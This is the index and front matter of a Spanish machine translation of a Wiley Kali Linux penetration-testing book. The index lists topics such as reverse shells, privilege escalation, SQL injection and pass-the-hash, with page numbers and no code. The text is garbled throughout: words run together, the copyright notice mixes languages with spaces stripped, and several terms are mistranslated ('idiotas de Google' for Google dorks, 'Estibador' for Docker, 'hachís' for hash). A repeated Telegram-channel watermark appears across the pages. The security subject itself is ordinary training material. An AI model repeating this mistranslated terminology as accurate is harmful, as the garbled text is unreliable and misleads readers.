reenvío dinámico de puertos, 316–317 Y comando de eco , 50, 189–190 Cortafuegos de ECorp, 312–313 EIP, control, 383–385 correo electrónico, envío, 106–110 protocolos de correo electronico sobre, 136–137 IMAP4 (Puerto 143), 141–142 Canal de Telegram : @IRFaraExam Machine Translated by Google POP3 (Puerto 110), 141–142 SMTP (Puerto 25), 137–141 servidor de correo electrónico, explotación, 183–185 habilitación de proxies, 148–149 codificación, 227–228 cifrado asimétrico, 328–331 fundamentos de, 326–328 simétrica, 326 puntos de entrada, 252 enumerando Véase también fase de enumeración avanzada sobre, 246 CRON, 266–267 elementos del sitio, 236–237 SNMP, 157–158 usuarios, 138–141 Sistema Windows, 273–284 flujo de trabajo para, 127, 135 mensajes de error, 150 conexiones establecidas, 46–47 directorio /etc , 2 foreverblueexploit, 197–198 manejo de excepciones, 407 comandos ejecutivos de bases de datos, 210–215 fase de explotación sobre, 161 explotación de servicios, 173–198 Canal de Telegram : @IRFaraExam Machine Translated by Google evaluación de vulnerabilidades, 162–172 escenarios de explotación para servidores FTP, 126–127 para servidores SSH, 130–131 para servidor Telnet, 135 explotando sobre, 169–171 CRON, 266–267 secuencias de comandos entre sitios (XSS) mediante encabezado, 205–207 Ventana acoplable (Puerto 2375), 185–190 servidor de correo electrónico, 183–185 Protocolo de transferencia de archivos (FTP) (Puerto 21), 173–177 Comando de búsqueda , 268–269 encontrar coincidencias, 288–289 Jenkins, 190-193 servicios en ejecución, 270 tareas programadas, 302 SearchSploit, 171–172 servicios en Windows, 297–302 Protocolo SMB, 196–198 Servicio SSH, 178–179 desbordamiento de pila , 378–388 Telnet (Puerto 23), 179–183 Webenumerationand, 231–250 Aplicaciones de Windows, 293–296 Sistema Windows, 286–303 extracción de datos de formulario, 150–151 Canal de Telegram : @IRFaraExam Machine Translated by Google F falso positivo, 82 Elemento de menú de favoritos (KaliXfceDesktop), 430–432 comando fdisk , 37 Herramienta feroz, 87–88 comando de archivo , 19 inclusión de archivos sobre, 217–218 local (LFI), 218 remoto (RFI), 219–220 fileiteración, 61–62 FileManager(KaliXfceDesktop), 442–443 renombrar archivo, 226–227 protocolos de intercambio de archivos sobre, 154 SMB (Puerto 445), 154–157 SNMP (PortUDP 161), sistema de archivos 157–158 sobre, 2–3 comandos básicos de ventana de terminal, 3–6 Ventana Tmuxterminal, 6–10 Protocolo de transferencia de archivos (FTP) (Puerto 21), 126–130, 173–177 Protocolo de transferencia de archivos seguro (FTPS), 126 transferencias de archivos sobre, 47–48, 284 Destino de host de Linux, 285–286 Destino de host de Windows, 284–285 Canal de Telegram : @IRFaraExam Machine Translated by Google Subir archivo sobre, 223 eludiendo la validación, 225–226 tipo de contenido, codificación 227 , 227–228 filerename, 226–227 contenido de la carga útil, 227 simple, 223–225 condiciones de archivo/directorio, 60 gestión de archivos/carpetas sobre, 406–407 visualización de archivos/carpetas, 15–16 compresión de archivos, 21–22 filtrado de texto, 27–28 gestión de archivos de texto, 24–26 manipulación de directorios, 23 manipulación de archivos, 19–20 montaje de directorios, 23–24 permisos, 16–19 buscando archivos, 20–21 búsqueda de texto, 27–28 vim contra nano, 26–27 Estándar de jerarquía del sistema de archivos (FHS), 2 filtrado de texto, 27–28 buscar comando, 20–21, 261, 268–269 Buscar función, 399 comando findstr , 275 Canal de Telegram : @IRFaraExam Machine Translated by Google huellas dactilares,huellas versus, 90 Configuración del cortafuegos, 201 registros de marcas, 357 Focustab (KaliXfceDesktop), 452–453 administración de carpetas. Ver gestión de archivos/carpetas Fontstab (KaliXfceDesktop), 438 huella,huellas dactilares versus, 90 bucle for , 61–62, 405 datos de formulario, extracción, 150– 151 solicitudes de formulario, interceptación, 149–150 cadenas de formato, 397–398 barra diagonal(/), 2 comando de actualización completa , 40 funciones Basscriptand, 56–57 hachís unidireccional, 320–321 Pitón, 400–402 cuerda, 398–399 GRAMO Ficha General(KaliXfceDesktop), 442 comando git , 47 variables globales, 57, 402 Go Buster, 246 google, 91 idiotas de Google, 92 Consultas de Google, 92–94 Protocolos gráficos remotos, 152–153 Canal de Telegram : @IRFaraExam Machine Translated by Google gráficos, creación, 100–103 comando grep , 13, 15, 20, 24–25, 27–28, 196 comando groupadd , 14 grupos sobre, 286 listado, 277–279 gestión en Kali, 10–15 H información de hardware, 36–38 crackeo de hash Consulte cryptographyandhashcracking hashdump, 306–307 código autenticado de mensaje basado en hash (HMAC), 325 hachís archivos de juego de caracteres, 342 usando, 331–343 hash algoritmos, 321 fundamentos de, 320–322 contraseñas, 323–325 reutilización de hashes, 310–312 escenarios, 321 Ventanas, 306–312 mando principal , 24–25 encabezados,explotandoXSSusando, 205–207 Alto (H), en CVSS, 347, 348 comando de historia , 5 registros históricos, para informes, 350 Canal de Telegram : @IRFaraExam Machine Translated by Google / directorio de inicio, 3 comando de host , 86 información del anfitrión, 36 hostingPowerShellscripts, 119–120 comando de nombre de host , 36 Enumeración HTTP, 81–82 ataques híbridos , 342–343 Hidra uso de portales web de fuerza bruta , 147–151 fuerza bruta con, 136, 150–151 SSHcon, 132 I comando icacls , 282 Icontab(KaliXfceDesktop), 437, 441 iconos,eliminación, 454 comando id , 12–13 identificación de hosts vivos, 72–74 declaración if , 58–59, 403 comando ifconfig , 43 sentencia if/else , 403 imágenes, Docker, 469–470 IMAP4 (Puerto 143), 141–142 Depurador de inmunidad análisis de búfer con, 372–376 para ingeniería inversa, 363–367 importar módulos, 394 registros de índice, 355 Canal de Telegram : @IRFaraExam Machine Translated by Google inyección de carga útil, 386–388 entrada, 394–395 validación de entrada, 415–417 InsightVM, 162 parches instalados, 276 instalando VScode, 391–392 base de datos, 201–202 Estibador , 468–469 KaliLinux, 458–466 OpenVAS, 164–165 PHP, 201 instanciar, 408 Integridad(I),enCVSS, 348 interactuando con los servicios de Windows, 297 interceptar solicitudes de formularios, 149–150 Protocolo de mensajes de control de Internet (ICMP), 68 Recopilación de información en Internet sobre, 89–90 huella pasiva, 90–103 reconocimiento, 90–103 Direccionamiento de protocolo de Internet (IP), 69–72 Motores de búsqueda de Internet, 90–94 Pestaña de intrusos (BurpSuite), 239–241 comando ipaddr , 43 comando ipconfig , 279–280 IPv4, 42–43, 69 Canal de Telegram : @IRFaraExam Machine Translated by Google IPv6, 70–71 Ficha Elementos (KaliXfceDesktop), 450 j Java shell, 194 JavaScript, sin pasar por la validación, 207–208 Jenkins (Puerto 8080/50000), 145–147, 190–193 JMPInstrucción, 384–385 PARA KaliLinuxEscritorio sobre, 427 descarga de máquinas virtuales (VM), 428–429 Escritorio KaliXfce, 429–453 ejemplo práctico, 454–466 ejecutando máquinas virtuales (VM), 428–429 Escritorio KaliXfce, 429–453 Kennedy, David (líder de seguridad), 106 kernelexploits sobre, 258 vaca sucia, 258–261 Ventanas, 287–293 combinaciones de teclas, Tmux, 7 transferencia de llaves, 189–190 Menú de teclado (KaliXfceDesktop), 445 atajos de teclado, ventana de terminal Tmux, 10 Ficha del teclado (KaliXfceDesktop), 452 espacio de teclas, 339 Canal de Telegram : @IRFaraExam Machine Translated by Google comando matar , 42 I ÿl comando, 15 labenvironment, edificio. Ver ventana acoplable (Port2375) LANManager(LM), 306 último comando, 13 movimiento lateral. Ver movimiento pivotante y lateral Ficha Layout(KaliXfceDesktop), 447 función len , 398 menos mando, 24–25 directorio /lib , 2 sangría de línea, 394 LinEnum, 271 Destino de host de Linux, 285–286 Escalada de privilegios de Linux sobre, 257 scripts automatizados, 270–271 Trabajos CRON, 264–267 explotación de servicios en ejecución, 270 kernelexploits, 258–261 configuraciones faltantes, 258–261 anulación del archivo passwd , 263– 264 explotación de setuserID (SUID), 261–263 comando sudo , 268–269 LinuxExploitSuggester, 271 LinuxPrivChecker, 271 oyentes Canal de Telegram : @IRFaraExam Machine Translated by Google cargas útiles y, 110–115 comenzando, 118 Littleendian, 360 anfitriones en vivo identificar, 72–74 buscar, 418–419 cargandoBurpSuitePro, 232–233 Local (L), en CVSS, 347 inclusión de archivo local (LFI), 218 reenvío de puerto local, 314–315 localizar comando, 20 página de inicio de sesión, 249 loopiteraciones, 404– 405 loops, Bashscriptingand, 57–62 /directorio perdido+encontrado , 3 Bajo (L), en CVSS, 347, 348 comando ls , 15 comando lsblk , 24, 37 comando lsusb , 38 METRO Maltego, 99 ataques de máscara , 339–342 /mediadirectory,3 miembros, 408 segmentos de memoria, 361 Ficha Menú (KaliXfceDesktop), 440–441 MessageDigest versión 5 (MD5), 321–322 Canal de Telegram : @IRFaraExam Machine Translated by Google MetasploitPrivEsc, 289–293 MetasploitPro, 169, 194–195 métodos, 408 MicrosoftSQLServer(Puerto1433), 142 Ventana del editor de tipos MIME (KaliXfceDesktop), 447 Mimikatz, 308–309 permisos de servicio mal configurados, 297–298 configuraciones faltantes, 258–261 directorio /mnt , 3 módulos, importando, 394 más mando, 25 comando de montaje , 38 directorios de montaje, 23–24 Ratón y ventana del panel táctil (KaliXfceDesktop), 448 Veneno de MSF, 195–196 MutillidaeDockercontainer, 474–475 Instalación de Mutillidae, 200–202 comando mv , 19, 20 MySQL (Puerto 3306), 143 norte Nano,vim versus, 26–27 Neso, 162 comando netlocalgroup , 278 comando de usuario de red, 277 comando netsh , 281 comando netstat , 46 Red (N), en CVSS, 346 Canal de Telegram : @IRFaraExam Machine Translated by Google Escaneo de hosts de red sobre, 65 conceptos básicos de redes, 65–72 DNSenumeración, 84–88 exploración de redes, 72–84 interfaz de red, 42–45 husmeador de redes, 66 redes sobre, 42, 473–474 Sistema de nombres de dominio (DNS), 45–46 conexiones establecidas, 46–47 transferencias de archivos, 47–48 información, 279–282 interfaz de red, 42–45 Nexpose, 162 Nmap sobre, 73–74, 246 enumeración avanzada, 137–138 scripting avanzado escanear con, 128–129, 131–132 enumeracion basica, 137 exploraciones, 76–77 comando nmapÿh , 79 NmapScriptingEngine (NSE), 80–84 Ninguno (N), en CVSS, 347, 348 NTLanManager(NLTM)hashes, 306–307 números, 395– 396 condiciones numéricas, 59 Canal de Telegram : @IRFaraExam Machine Translated by Google O ubicación de desplazamiento, 382–383 función hash unidireccional, 320–321 inteligencia de código abierto (OSINT), 90 Capas de interconexión de sistemas abiertos (OSI), 68–69 OpenWebApplicationSecurityProject(OWASP)Top 10, 228–229 OpenVAS, análisis de vulnerabilidades con, 164–169 huellas dactilares del sistema operativo, 79–80 directorio /opt , 3 argumentos opcionales, 401–402 Servidor de base de datos Oracle (Puerto 1521), 143 OSinformación, 36 salida, 394–395 PAGS gestión de paquetes, 39–41 Ventana de panel (KaliXfceDesktop), 449 pasando el hash (PTH), 311–312 huella pasiva, 90–103 recopilación de información pasiva, 90–103 comando contraseña, 14–15 , 23 archivo passwd , invalidación, 263–264 sin contraseña SSH, 32–34 contraseñas hash, 323–325 gestión, 14–15 reutilización, 310–312 parches, instalados, 276 Canal de Telegram : @IRFaraExam Machine Translated by Google creación de patrones, carga útil 382 ejecutar, 289 inyectando, 386–388 oyentes y, 110–115 contenido de la carga útil, 227 Robot de prueba de penetración, 411–426 pruebas de penetración sobre, 411 Robot de prueba de penetración, 411–426 informesen, 345–346 perla, 193 permisos, 16–19, 282–283, 286 suplantación de identidad, 105 PHP instalación, 201 carcasa, 194 Físico (P), en CVSS, 347 ping, 73 comando de ping , 73 pitchforkattack, 240 movimiento pivotante y lateral sobre, 305 pivotingwithportredirection, 312–317 Hashes de Windows, 306–312 punteroregistros, 355 Instrucción POP, 371 Canal de Telegram : @IRFaraExam Machine Translated by Google POP3 (Puerto 110), 141–142 Escaneo de puertos y servicios, 74–76 reenvío de puertos, 312–314 números de puerto, 71–72 dirección de puerto , rotación con, 312–317 escaneo de puertos y servicios, 420–423 Puerto Swigger, 232 Contenido del formulario POST, 150 Potencia Shell sobre, 194 descargar guión, 120–121 ejecución de guión, 120–121 generar scripts, 118–122 shell inverso usando USBRubberDuckyand, 117–118 corriendo, 120 PowerUp, 302–303 practicar Python, 392–393 presentingreports,349–351 función print_custom() , 57 comando imprimirf , 50–52 impresión CLIargumentos, 395 a la pantalla en Bash, 50–52 clave privada, 32 PrivEscherramientas automatizadas, 302–303 Privilegio requerido (PR), en CVSS, 347 directorio / proc , 2 Canal de Telegram : @IRFaraExam Machine Translated by Google gestión de procesos , 41–42 procesos, listado, 283–284 Entorno de producción (implementación final) (SDLC), 255 base de datos de protocolos, 142–143 correo electrónico, 136–142 intercambio de archivos, 154–158 comunicación remota gráfica, 152–153 redes, 66 apoderados BurpSuit, 234 habilitación, 148–149 cadenas proxy, comando de 316 ps , 41–42 PSExectotool, 296 clave pública, 32 PUSHinstrucción, 370–371 comando pwd , 23 Pitón. Ver también pruebas de penetración sobre, 389 sintaxis básicas, 393–395 fundamentos de, 389–390 comentarios en, 393 scripts de depuración, 391–392 funciones, 400–402 paquetes, 414 practicando, 392–393 Canal de Telegram : @IRFaraExam Machine Translated by Google ejecución de scripts , 390 envío de correo electrónico utilizando, 108–109 Shellcodescript, 387–388 técnico, 400–409 variable, 395–400 Pythonshebang, 393 Concha de pitón, 194 q QualysScanner, 162 consultando bases de datos, 208–210 citas, 52 R Rápido7, 162 RDP (Puerto 3389), 152–153 valores de lectura en listas, 399 Elemento de menú Usado recientemente (KaliXfceDesktop), 433 reconocimiento, 90–103 scripting de sitio cruzado reflejado (XSS), 203–204 registros, Docker, 469–470 permisos de registro, débil, 301 conexiones remotas sin contraseña SSH, 32–34 Protocolo de escritorio remoto (RDP), 29 SecureShell (SSH), 30 SSH con credenciales, 30–31 Protocolo de escritorio remoto (RDP), 29 Canal de Telegram : @IRFaraExam Machine Translated by Google inclusión de archivos remotos (RFI), 219–220 reenvío de puertos remotos, mediante SSH, 315–316 carcasa remota, 386–388 renombrar ventanas, 7 Repeatertab(BurpSuite), 238–239 función de reemplazo , 398 replicar ataques, usando USBRubberDucky, 122 informeresumen, 350 informes sobre, 345 creando enBurpSuite, 244–245 pruebas de penetración, 345–346 presentación, 349–351 revisión, 167–169 gravedades de puntuación, 346–349 Obligatorio (R), en CVSS, 347 restablecer/cambiar contraseña, 249–250 recursos, 286 valores devueltos, 401 reutilización de hashes/contraseñas, 310–312 Ingeniería inversa. Ver lenguaje ensamblador e ingeniería inversa carcasa inversa sobre, 112–113, 121, 193–194 usandoSET, 113–115 usando USBRubberDucky y PowerShell, 117–118 usando con Metasploit, 194–195 revisión de informes, 167–169 Canal de Telegram : @IRFaraExam Machine Translated by Google Rivest Shamir Adleman (RSA), 329–331 comando rm , 19, 23 / directorio raíz , 3 cáscara de raíz, 289 comando de impresión de ruta, 280 /ejecutar directorio, 3 corriendo contenedores, 187 PowerShell, 120 Pythonscripts, 390 servicios, 38–39, 270 máquinas virtuales (VM), 428–429 como en Windows, 295–296 S directorio /sbin , 2 tareas de escáner, creación, 166–167 escaneo, para hosts activos, 418–419 tareas programadas, explotación, 302 Alcance (S), en CVSS, 347 gravedades de puntuación, 346–349 pantalla, impresión a la, 50–52 guiones. Véase también bashscripting parámetros, 54–56 Pitón, 390–392 barra de búsqueda (KaliXfceDesktop), 430 motores de búsqueda, 90–94 SearchSploit, 171–172 Canal de Telegram : @IRFaraExam Machine Translated by Google Algoritmo de hash seguro (SHA), 323 SecureShell (SSH) (Puerto 22) sobre, 30, 130–134 con Credenciales, 30–31 uso de reenvío dinámico de puertos, 316–317 servicio de explotación, 178–179 conHydra, 132 generación de claves, 188– 189 uso de reenvío de puertos remotos, 315– 316 tunelización, 314–315 Archivo SecurityAccountManager (SAM), 306–307 registros de segmento, 355–356 self, 408 envío de correo electrónico, 106–110 cuentas de servicio, 286 ejecutable de servicio, reemplazando, 299 servicioscan, 127–128, 135 enumeración de servicios, 74–76, 77–79 explotación de servicios sobre, 173 Estibador, 185-190 correo electrónico, 183–185 servicio FTP operativo, 173–177 servicio SSH operativo , 178–179 Jenkins, 190-193 carcasas inversas , 193–196 Protocolo SMB, 196–198 Canal de Telegram : @IRFaraExam Machine Translated by Google Telnet, 179–183 en Windows, 297–302 gestión de sesiones, Tmux, 7–8 SET, bombardeo inverso, 113–115 explotación de setuserID (SUID), 261–263 Configuración (KaliXfceDesktop), 438–439 ver (Python), 393 Shodan, 91–92 SidePanetab (KaliXfceDesktop), 444 Protocolo de administración de red simple (SNMP (Puerto UDP 161)), 157–158 comillas simples, 52 inicio de sesión único (SSO), 310 SMB (Puerto 445), 154–157, 196–198 SMTP (Puerto 25), 137–141 husmear, para obtener información de texto claro, 180–183 ataque de francotirador, 240 ataques de ingeniería social sobre, 105 oyentes, 110–115 cargas útiles, 110–115 ataques de spearphishing, 105–110 con USBRubberDucky, 115–122 Kit de herramientas de ingeniería social (SET), 106 ciclo de vida de desarrollo de software (SDLC) sobre, 250 Fase de análisis/arquitectura, 251–252 Fase de desarrollo, 252–255 Canal de Telegram : @IRFaraExam Machine Translated by Google Fase del entorno de producción (implementación final), 255 Fase de prueba, 255 ordenar comando, 26 código spaghetti, 56–57 proyectiles de desove, 177 ataques de spearphishing, 105–110 función dividida , 398 dividir ventanas, 8 SQLinjection(SQLi) sobre, 208 automatización con SQLMap, 215–216 omitiendo la página de inicio de sesión, 210 uso de comandos de base de datos ejecutivos , 210–215 uso de comandos de base de datos ejecutivos mediante SQLi, 210–215 consultando base de datos, 208–210 prueba para, 216 SQLMap, SQLinjectionautomationwith, 215–216 directorio /srv , 3 desbordamiento de pila. Ver búfer/desbordamiento de pila conjuntos de caracteres estáticos, 341 direccionamiento IP estático, 43–45 escaneo sigiloso, 75 secuencias de comandos cruzadas almacenadas (XSS), 204–205 modo directo, 336 condiciones de cadena, 59 cuerdas, 397–399 función de tira , 398 Canal de Telegram : @IRFaraExam Machine Translated by Google Styletab(KaliXfceDesktop), 436–437, 452 su comando, 12, 14–15 subredes, 69–70 comando sudo , 12, 268–269 cifrado simétrico, 326 SYNscan, 75 sintaxis, Python, 393–395 directorio /sys , 2 gestión del sistema sobre, 34–35 información de hardware, 36–38 información del anfitrión, 36 gestión de servicios en ejecución, 38–39 OSinformación, 36 gestión de paquetes, 39–41 gestión de procesos, 41–42 comando systeminfo , 274–275, 287–288 T comando de cola , 24–25 extensión tar, 22 listas de objetivos, creación, 166 Targettab(BurpSuite), 234–236 tareas, listado, 283–284 TCPportSYNscan, 75 Telnet (Puerto 23), 134–136, 179–183 Tenible, 162 terminalventana Canal de Telegram : @IRFaraExam Machine Translated by Google sobre, 1 gestión de archivos/carpetas, 15–28 Sistema de archivos KaliLinux, 2–10 gestión de usuarios/grupos, 10–15 redes, 42–48 conexiones remotas, 29–34 gestión de sistemas, 34–42 pruebas punto de referencia, 332–334 Conexión Docker, 185–186 para inyección SQL (SQLi), 216 stackoverflowand, 379–381 Fase de prueba (SDLC), 255 texto, filtrado/búsqueda, 27–28 caracteres de paisaje de texto, 407–409 archivos de texto , gestión, 24–26 theHarvester, 97–99 terceros, 252 apretón de manos de tres vías, 66 directorio /tmp , 3 Ventana Tmuxterminal, 6–10 comando táctil , 19 protocolos de transferencia sobre, 126 Protocolo de transferencia de archivos (FTP) (Puerto 21), 126–130 SSH (Puerto 22), 130–134 Telnet (Puerto 23), 134–136 Canal de Telegram : @IRFaraExam Machine Translated by Google TransformHub, 99–103 Protocolo de control de transmisión (TCP), 66–67 niveles de confianza, 252 tunelización, SSH, 314–315 tuplas, 400 tu UDPportscan, 75–76 comando uname , 36 Sin cambios (U), en CVSS, 347 comando uniq , 26 ruta de servicio sin comillas, 299–301 comando de actualización , 39–40 actualización de elementos de lista, 399 comando de actualización , 39–40 subir página, 249 URLruta, 150 USBRubberDucky, ingeniería social con, 115–122 cuentas de usuario, 286 comandos de usuario, 10–13 Protocolo de datagrama de usuario (ARRIBA), 67 entrada de usuario, 56 Interacción del usuario (IU), en CVSS, 347 registro de usuario, 249 comando del usuario , 13 usuarios enumerar, 138–141 enumerar, 277–279 Canal de Telegram : @IRFaraExam Machine Translated by Google managementinKali, 10–15 directorio /usr , 3 Aplicaciones habituales (KaliXfceDesktop), 432–433 V validación, omisión, 225–226 valores listas de lectura, 399 regresando, 401 directorio /var , 3 Variables sobre, 52–54, 395 operadores aritméticos, 397 conjunto incorporado, 340–341 comandos, 54 diccionario, 400 mundial, 402 listado, 399–400 números, 395–396 cuerdas, 397–399 tuplas, 400 versiones escaneadas, 77–79 vim, Nano versus, 26–27 máquinas virtuales (VM), descarga y ejecución, 428–429 VisualStudioCode, para C/C++, 362–363 VNC (Puerto 5900), 153–154 volúmenes, 472–473 Comando VRFY , 138–139 Canal de Telegram : @IRFaraExam Machine Translated by Google VScode, instalación, 391–392 evaluación de vulnerabilidades sobre, 162, 247 Investigación de exploits , 169–172 Exploración de vulnerabilidades con OpenVAS, 164–169 flujo de trabajo, 162–164 sección de vulnerabilidades, en informes, 350–351 aplicación vulnerable, 379 Aplicación Vulnserver, 379 EN Vulnerabilidades de aplicaciones web sobre, 199–200 inyección de comando , 217–220 falsificación de solicitud entre sitios, 220–223 secuencias de comandos entre sitios, 203–208 carga de archivos , 223–228 Instalación de Mutillidae, 200–202 OWASP Top 10, 228–229 Inyección SQL, 208–216 Webenumeración y explotación, 231–250 Portales web, fuerza bruta usando Hydra, 147–151 Protocolos web 80/443 , 151, 153–154 herramienta wesng , 288 qué comando, 20–21, 177, 220 bucle while , 60–61, 404–405 comando whoami , 276–277 Base de datos Whois, 95–96 Canal de Telegram : @IRFaraExam Machine Translated by Google WindowManagerwindow(KaliXfceDesktop), 451–452 ventanas, 7–8 Windows (Microsoft) arquitectura, 275 explotación de aplicaciones, 293–296 explotación de servicios en, 297–302 sistema operativo , 286–303 hashes, 306–312 destinohost, 284–285 kernelexploits, 287–293 PrivEscherramientas automatizadas, 302–303 corriendo como un loco, 295–296 Escalada de privilegios de Windows sobre, 273 transferencias de archivos , 284–286 enumeración del sistema, 273–284 explotación del sistema, 286–303 WindowsPrivilegeEscalationAwesomeScripts(WinPEAS), 303 Wireshark, 66–67 Utilidad WMIC, 275–276 ataque a la lista de palabras, 336 flujo de trabajo, evaluación de vulnerabilidad, 162–164 Ventana de espacios de trabajo (KaliXfceDesktop), 450–451 CON extensión .zip, 22 Canal de Telegram : @IRFaraExam Machine Translated by Google Copyright©2021porJohnWiley&Sons,Inc.,Indianápolis,IndianaPublicadosimultáneamenteenCanadá ISBN:978-1-119-71908-3 ISBN: 978-1-119-71964-9 (ebk) ISBN: 978-1-119-71907-6 (ebk) FabricadoenlosEstadosUnidosdeAmérica Nopartofthispublicationmaybereproduced, anymeans storedinaretrievalsystemortransmittedinanyformorby, electrónico, mecánico, fotocopia, grabación, scanningorotherwise, exceptaspermitted underSections107or108ofthe1976UnitedStatesCopyrightAct, withouteitherthepriorwritten permissionofthePublisher, orauthorizationthroughpaymentoftheappropriateper-copyfeetothe CopyrightClearanceCenter, 222RosewoodDrive, Danvers, MA01923, (978) 750-8400, fax (978) 6468600.RequeststothePublisherforpermissionshouldbeaddressedtothePermissionsDepartment, John Wiley&Sons, Inc.,111RiverStreet,Hoboken,NJ07030,(201)748ÿ6011,fax(201)748ÿ6008,o línea en http://www.wiley.com/go/permissions . LimitofLiability / DisclaimerofWarranty: Thepublisherandtheauthormakenorepresentationsor warrantieswithrespecttotheaccuracyorcompletenessofthecontentsofthisworkandspecifically disclaimallwarranties, includingwithoutlimitationwarrantiesoffitnessforaparticularpurpose.No warrantymaybecreatedorextendedbysalesorpromotionalmaterials.Theadviceandstrategiescontained hereinmaynotbesuitableforeverysituation.Thisworkissoldwiththeunderstandingthatthepublisheris notengagedinrenderinglegal, lo que representa, orotherprofessionalservices.Ifprofessionalassistanceis requiere, theservicesofacompetentprofessionalpersonshouldbesought.Neitherthepublishernorthe authorshallbeliablefordamagesarisingherefrom.ThefactthatanorganizationorWebsiteisreferredto inthisworkasacitationand / orapotentialsourceoffurtherinformationdoesnotmeanthattheauthoror thepublisherendorsestheinformationtheorganizationorwebsitemayprovideorrecommendationsitmay make.Further, disapp readersshouldbeawarethatInternetwebsiteslistedinthisworkmayhavechangedor oído entre cuando este trabajo fue escrito y cuando se lee. Para obtener información general sobre nuestros otros productos y servicios, comuníquese con nuestro Departamento de Atención al Cliente dentro de los Estados Unidos al (877) 762ÿ2974, fuera de los Estados Unidos al (317) 572ÿ3993 o fax (317) 572ÿ 4002. Wiley publica una variedad de formatos impresos y electrónicos y mediante impresión bajo demanda. Algunos materiales incluidos con las versiones impresas estándar de este libro pueden no estar incluidos en libros o en impresión bajo demanda . . Para obtener información sobre los productos Wiley, visite www.wiley.com . Número de control de la Biblioteca del Congreso: 2021904285 Marcas comerciales: Wiley y el logotipo de Wiley son marcas comerciales o marcas comerciales registradas de John Wiley & Sons, Inc. y/o sus filiales, en los Estados Unidos y en otros países, y no puede usarse sin permiso por escrito. Linux es una marca comercial registrada de Linus Torvalds. Todas las demás marcas comerciales son propiedad de sus respectivos dueños. John Wiley & Sons, Inc. no está asociado con ningún producto o proveedor mencionado en este libro. Canal de Telegram : @IRFaraExam Machine Translated by Google Sobre el Autor GusKhawaja es un experto en seguridad de aplicaciones y pruebas de penetración. He es consultor de seguridad cibernética en Montreal, Canadá, y tiene una gran experiencia trabajando con organizaciones para proteger sus activos de ataques cibernéticos. He es un autor publicado e instructor en línea en el campo de la seguridad cibernética. Canal de Telegram : @IRFaraExam Machine Translated by Google Acerca del editor técnico Corey Ball es un experto en seguridad cibernética con más de 10 años de experiencia en TI y liderazgo en seguridad cibernética. Se especializa en pruebas de penetración de API, aplicaciones web y redes. Actualmente cuenta con más de 10 certificaciones de seguridad cibernética, incluidas OSCP , CISSP, CISM y CCISO. Tiene una licenciatura en artes en inglés y filosofía de CSU Sacramento. Canal de Telegram : @IRFaraExam Machine Translated by Google Expresiones de gratitud He tenido la suerte de compartir mi conocimiento y experiencia con mi audiencia a través de Wiley. Espero que este conocimiento lo convierta en el mejor experto en su carrera como probador de penetración. Estoy especialmente agradecido a mi familia que me apoyó para entregar 18 capítulos completos de este libro. Tengo la suerte de tener experiencia previa en programación que me ayudó mucho en mi carrera como probador de penetración y como experto en seguridad de aplicaciones. Te darás cuenta de que en estos días, tener habilidades en la arquitectura de aplicaciones web te permitirá dominar esta carrera. Finalmente, me gustaría agradecer a los miembros del equipo de Wiley que me apoyaron durante el viaje de escribir este increíble libro. ¡Sin este apoyo, este libro nunca habría visto la luz del día! Canal de Telegram : @IRFaraExam Machine Translated by Google ACUERDO DE LICENCIA DE USUARIO FINAL DE WILEY Vaya a www.wiley.com/go/eula para acceder al EULA del libro electrónico de Wiley. Canal de Telegram : @IRFaraExam